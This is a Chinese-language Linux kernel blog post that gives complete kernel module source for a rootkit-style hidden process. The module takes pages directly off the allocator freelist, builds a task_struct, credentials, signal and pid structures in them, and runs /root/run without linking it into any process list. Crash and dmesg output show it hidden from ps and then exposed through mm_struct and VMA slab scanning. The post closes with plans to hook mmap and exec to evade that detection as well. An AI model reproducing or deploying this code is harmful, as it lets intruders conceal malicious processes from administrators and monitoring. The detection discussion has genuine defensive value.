窃取内核的page?是的,偷page意味着我们绕过page分配的一切规则和接口,直接从freelist中摘取一个空闲的page来用。
直接看个POC吧,我来模拟一个task_struct的分配过程:
#include <linux/module.h>
#include <linux/mm.h>
#include <linux/sched.h>
static void * page_steal(unsigned int j)
{
void *addr = NULL;
int i = 0;
for_each_online_node(i) {
unsigned long spfn, epfn, pfn;
spfn= node_start_pfn(i);
epfn = node_end_pfn(i);
for (pfn = spfn; pfn < epfn;) {
struct page *page = pfn_to_page(pfn);
// 找到空闲页面,并且没有被偷走的,就摘除它,偷走它,占有它!
if (page_count(page) == 0 && pfn == j &&
(page->lru.prev != LIST_POISON2 && page->lru.next != LIST_POISON1)) {
// 仅仅从freelist中摘除,并不增加引用计数。
// 该page我们是偷来的,永久保有,绝不归还!
list_del(&page->lru);
// 至此,内核已经看不到这个page了,获取地址使用它吧。
addr = page_address(page);
// 注意,偷的page最好直接使用线性映射地址。
// 并且,一定要check其PTE的性质,保证可读写,必要时可执行!!本文略。
break;
}
pfn ++;
}
}
return addr;
}
static int __init steal_task_init(void)
{
struct task_struct *p, *curr = current;
unsigned int j = 2000;
again:
// 这里模拟一个用偷来的page构建task_struct的过程。
p = (struct task_struct *)page_steal(j);
if (p) {
*p = *curr;
p->pid = 0xffffff;
strcpy(p->comm, "JingLiSkinShoe");
printk("get page:%p at %d\n", p, j);
} else if (j > 0) {
j --;
goto again;
}
return -1;
}
module_init(steal_task_init);
MODULE_LICENSE("GPL");
加载这个模块,根据打印信息用crash来dump结构体:
[root@localhost test]# dmesg
[ 9260.300467] get page:ffff880000500000 at 1280
我们看看这个地址:
crash> task_struct.sched_class,comm,pid ffff880000500000
sched_class = 0xffffffff81669340 <fair_sched_class>
comm = "JingLiSkinShoe\000"
pid = 16777215
crash>
OK,我们试试用上文中介绍的dump所有slab对象的方法能找到它吗?
[root@localhost test]# insmod ./pagescan.ko
insmod: ERROR: could not insert module ./pagescan.ko: Operation not permitted
[root@localhost test]# dmesg |grep JingLiSkinShoe
[root@localhost test]# echo $?
1
很显然,没有找到!
OK,根据以上的POC,我们可以来个正式的了。也就是,是时候搞一个可以运行的隐藏进程了,请看:
// stealfork.c
#include <linux/module.h>
#include <linux/cred.h>
#include <linux/slab.h>
#include <linux/kallsyms.h>
#include <linux/nsproxy.h>
#include <linux/pid_namespace.h>
#include <linux/random.h>
#include <linux/fdtable.h>
#include <linux/cgroup.h>
#include <linux/sched.h>
int (*_run_process)(struct filename *file, char **, char **);
struct filename * (*_getname_kernel)(char *name);
int test_stub2(void)
{
printk("stub pid: %d at %p\n", current->pid, current);
if (_run_process) {
int r =_run_process(_getname_kernel("/root/run"), NULL, NULL);
printk("result:%d\n", r);
}
current->parent = current;
current->real_parent = current;
return 0;
}
int (*_arch_dup_task_struct)(struct task_struct *, struct task_struct *);
int (*_copy_thread)(unsigned long, unsigned long, unsigned long, struct task_struct *);
void (*_wake_up_new_task)(struct task_struct *);
void (*_sched_fork)(unsigned long, struct task_struct *);
struct fs_struct * (*_copy_fs_struct)(struct fs_struct *);
struct files_struct * (*_dup_fd)(struct files_struct *, int *);
struct pid * (*_alloc_pid)(struct pid_namespace *ns);
static void *page_steal(unsigned int j)
{
void *addr = NULL;
int i = 0;
for_each_online_node(i) {
unsigned long spfn, epfn, pfn;
spfn= node_start_pfn(i);
epfn = node_end_pfn(i);
for (pfn = spfn; pfn < epfn;) {
struct page *page = pfn_to_page(pfn);
if (page_count(page) == 0 && pfn == j &&
(page->lru.prev != LIST_POISON2 && page->lru.next != LIST_POISON1)) {
list_del(&page->lru);
addr = page_address(page);
// 此处,一定要check其PTE的性质,保证可读写,必要时可执行!!本文略。
break;
}
pfn ++;
}
}
return addr;
}
static void *steal_alloc(void)
{
void *addr;
static unsigned int j = 8000;
again:
addr = page_steal(j);
if (addr) {
j --;
return addr;
} else if (j > 0) {
j --;
goto again;
}
return NULL;
}
static int __init stealfork_init(void)
{
unsigned char *base;
struct task_struct *tsk;
struct thread_info *ti;
struct task_struct *orig = current;
unsigned long *stackend;
struct pid_link *link;
struct hlist_node *node;
struct sighand_struct *sig;
struct signal_struct *sign;
struct cred *new;
struct pid *pid = NULL;
int type, err = 0;
_arch_dup_task_struct = (void *)kallsyms_lookup_name("arch_dup_task_struct");
_sched_fork = (void *)kallsyms_lookup_name("sched_fork");
_copy_fs_struct = (void *)kallsyms_lookup_name("copy_fs_struct");
_dup_fd = (void *)kallsyms_lookup_name("dup_fd");
_run_process = (void *)kallsyms_lookup_name("do_execve");
_getname_kernel = (void *)kallsyms_lookup_name("getname_kernel");
_alloc_pid = (void *)kallsyms_lookup_name("alloc_pid");
_copy_thread = (void *)kallsyms_lookup_name("copy_thread");
_wake_up_new_task = (void *)kallsyms_lookup_name("wake_up_new_task");
// 所有的内核分配均使用steal_alloc来偷!
base = (unsigned char *)steal_alloc();
tsk = (struct task_struct *)base;
_arch_dup_task_struct(tsk, orig);
base = (unsigned char *)steal_alloc();
ti = (struct thread_info *)base;
tsk->stack = ti;
*task_thread_info(tsk) = *task_thread_info(orig);
task_thread_info(tsk)->task = tsk;
stackend = end_of_stack(tsk);
*stackend = 0x57AC6E9D;
tsk->stack_canary = get_random_int();
clear_tsk_thread_flag(tsk, TIF_USER_RETURN_NOTIFY);
clear_tsk_thread_flag(tsk, TIF_NEED_RESCHED );
atomic_set(&tsk->usage, 2);
tsk->splice_pipe = NULL;
tsk->task_frag.page = NULL;
memset(&tsk->rss_stat, 0, sizeof(tsk->rss_stat));
raw_spin_lock_init(&tsk->pi_lock);
plist_head_init(&tsk->pi_waiters);
tsk->pi_blocked_on = NULL;
rcu_copy_process(tsk);
tsk->vfork_done = NULL;
spin_lock_init(&tsk->alloc_lock);
init_sigpending(&tsk->pending);
seqlock_init(&tsk->vtime_seqlock);
tsk->audit_context = NULL;
_sched_fork(0, tsk);
tsk->mm = NULL;
tsk->active_mm = NULL;
memset(&tsk->perf_event_ctxp, 0, sizeof(tsk->perf_event_ctxp));
mutex_init(&tsk->perf_event_mutex);
INIT_LIST_HEAD(&tsk->perf_event_list);
new = prepare_creds();
if (new->thread_keyring) {
key_put(new->thread_keyring);
new->thread_keyring = NULL;
}
key_put(new->process_keyring);
new->process_keyring = NULL;
atomic_inc(&new->user->processes);
tsk->cred = tsk->real_cred = get_cred(new);
validate_creds(new);
tsk->fs = _copy_fs_struct(current->fs);
tsk->files = _dup_fd(current->files, &err);
base = steal_alloc();
sig = (struct sighand_struct *)base;
atomic_set(&sig->count, 2);
memcpy(sig->action, current->sighand->action, sizeof(sig->action));
base = steal_alloc();
sign = (struct signal_struct *)base;
sign->nr_threads = 1;
atomic_set(&sign->live, 2);
atomic_set(&sign->sigcnt, 2);
sign->thread_head = (struct list_head)LIST_HEAD_INIT(tsk->thread_node);
tsk->thread_node = (struct list_head)LIST_HEAD_INIT(sign->thread_head);
init_waitqueue_head(&sign->wait_chldexit);
sign->curr_target = tsk;
init_sigpending(&sign->shared_pending);
INIT_LIST_HEAD(&sign->posix_timers);
seqlock_init(&sign->stats_lock);
memcpy(sign->rlim, current->signal->rlim, sizeof sign->rlim);
tsk->cgroups = current->cgroups;
atomic_inc(&tsk->cgroups->refcount);
INIT_LIST_HEAD(&tsk->cg_list);
// 设置堆栈以及入口
tsk->flags |= PF_KTHREAD;
_copy_thread(0, (unsigned long)test_stub2, (unsigned long)0, tsk);
tsk->clear_child_tid = NULL;
tsk->set_child_tid = NULL;
// 伪造身份证
pid = steal_alloc();
pid->level = current->nsproxy->pid_ns->level;
pid->numbers[0].nr = 0xffff;
pid->numbers[0].ns = current->nsproxy->pid_ns;
for (type = 0; type < PIDTYPE_MAX; ++type)
INIT_HLIST_HEAD(&pid->tasks[type]);
atomic_set(&pid->count, 2);
// 进程管理结构自吞尾
INIT_LIST_HEAD(&tsk->ptrace_entry);
INIT_LIST_HEAD(&tsk->ptraced);
atomic_set(&tsk->ptrace_bp_refcnt, 1);
tsk->jobctl = 0;
tsk->ptrace = 0;
tsk->pi_state_cache = NULL;
tsk->group_leader = tsk;
INIT_LIST_HEAD(&tsk->thread_group);
tsk->pid = pid_nr(pid);
INIT_LIST_HEAD(&tsk->pi_state_list);
INIT_LIST_HEAD(&tsk->tasks);
INIT_LIST_HEAD(&tsk->children);
INIT_LIST_HEAD(&tsk->sibling);
// 进程组织自吞尾
tsk->pids[PIDTYPE_PID].pid = pid;
link = &tsk->pids[PIDTYPE_PID];
node = &link->node;
INIT_HLIST_NODE(node);
node->pprev = &node;
printk("task at %p\n", tsk);
// 来吧!
_wake_up_new_task(tsk);
return 0;
}
static void __exit stealfork_exit(void)
{
}
module_init(stealfork_init);
module_exit(stealfork_exit);
MODULE_LICENSE("GPL");
我们把/root/run改成一个不会退出的死循环,然后载入上面这个stealfork.ko模块,创建了一个新的进程/root/run,下面我们看下如何找到它。
首先,我们看看它的样子:
[root@localhost test]# dmesg
[ 9914.796859] task at ffff880000f4f000
...
我们看ffff880000f4f000这个地址:
crash> task_struct.sched_class,comm,pid ffff880000f4f000
sched_class = 0xffffffff81669340 <fair_sched_class>
comm = "run\000od\000\000\060\000\000\000\000\000\000"
pid = 65535
crash>
OK,这就是我们的run进程,下面看用常规方法能找到它不?
[root@localhost test]# ps -e|grep run
[root@localhost test]# echo $?
1
当然找不到!因为我根本就没有将它list到链表中!好吧,现在试试dump slab的方法:
[root@localhost test]# dmesg |grep run
[10059.334359] ##### VMA owner:[run] 65535 PGD:ffff88003a928000
[10059.334360] ##### VMA owner:[run] 65535 PGD:ffff88003a928000
[10059.334361] ##### VMA owner:[run] 65535 PGD:ffff88003a928000
[10059.334361] ##### VMA owner:[run] 65535 PGD:ffff88003a928000
[10059.334362] ##### VMA owner:[run] 65535 PGD:ffff88003a928000
[10059.334363] ##### VMA owner:[run] 65535 PGD:ffff88003a928000
[10059.334363] ##### VMA owner:[run] 65535 PGD:ffff88003a928000
[10059.334364] ##### VMA owner:[run] 65535 PGD:ffff88003a928000
[10059.334365] ##### VMA owner:[run] 65535 PGD:ffff88003a928000
[10059.334366] ##### VMA owner:[run] 65535 PGD:ffff88003a928000
[10059.336179] ##### owner:[run] 65535 PGD:ffff88003a928000
[10059.336358] ##### VMA owner:[run] 65535 PGD:ffff88003a928000
[10059.336359] ##### VMA owner:[run] 65535 PGD:ffff88003a928000
[10059.336363] ##### VMA owner:[run] 65535 PGD:ffff88003a928000
[10059.336366] ##### VMA owner:[run] 65535 PGD:ffff88003a928000
[10059.336368] ##### VMA owner:[run] 65535 PGD:ffff88003a928000
[10059.336370] ##### VMA owner:[run] 65535 PGD:ffff88003a928000
不好!!被发现了!
Why?
虽然我们使用偷来的页面构建了task_struct,那么在task_struct的slab里就无法发现它,但是却被mm_struct和vm_area_struct出卖了!因为我没有控制mm_struct和vm_area_struct的分配过程也用偷来的页面,我实在是难以控制:
- 在task执行execve的调用中,会执行mm_alloc,重新分配一个mm_struct,并设置owner为task,为了控制mm_alloc,我们必须inlne hook,这很麻烦。
- 进程运行过程中,会根据内存使用情况动态分配vm_area_struct,若hook这个过程,也非常麻烦。
这也从另一个侧面说明,用按图索骥顺藤摸瓜的方式查找可疑进程以及隐藏进程的方法,是多么好用!不要专门去直接找task_struct,间接将它缉拿归案!
下面,我要动手hook mmap以及exec了,让mm_struct和vm_area_struct也脱离管控!
浙江温州皮鞋湿,下雨进水不会胖!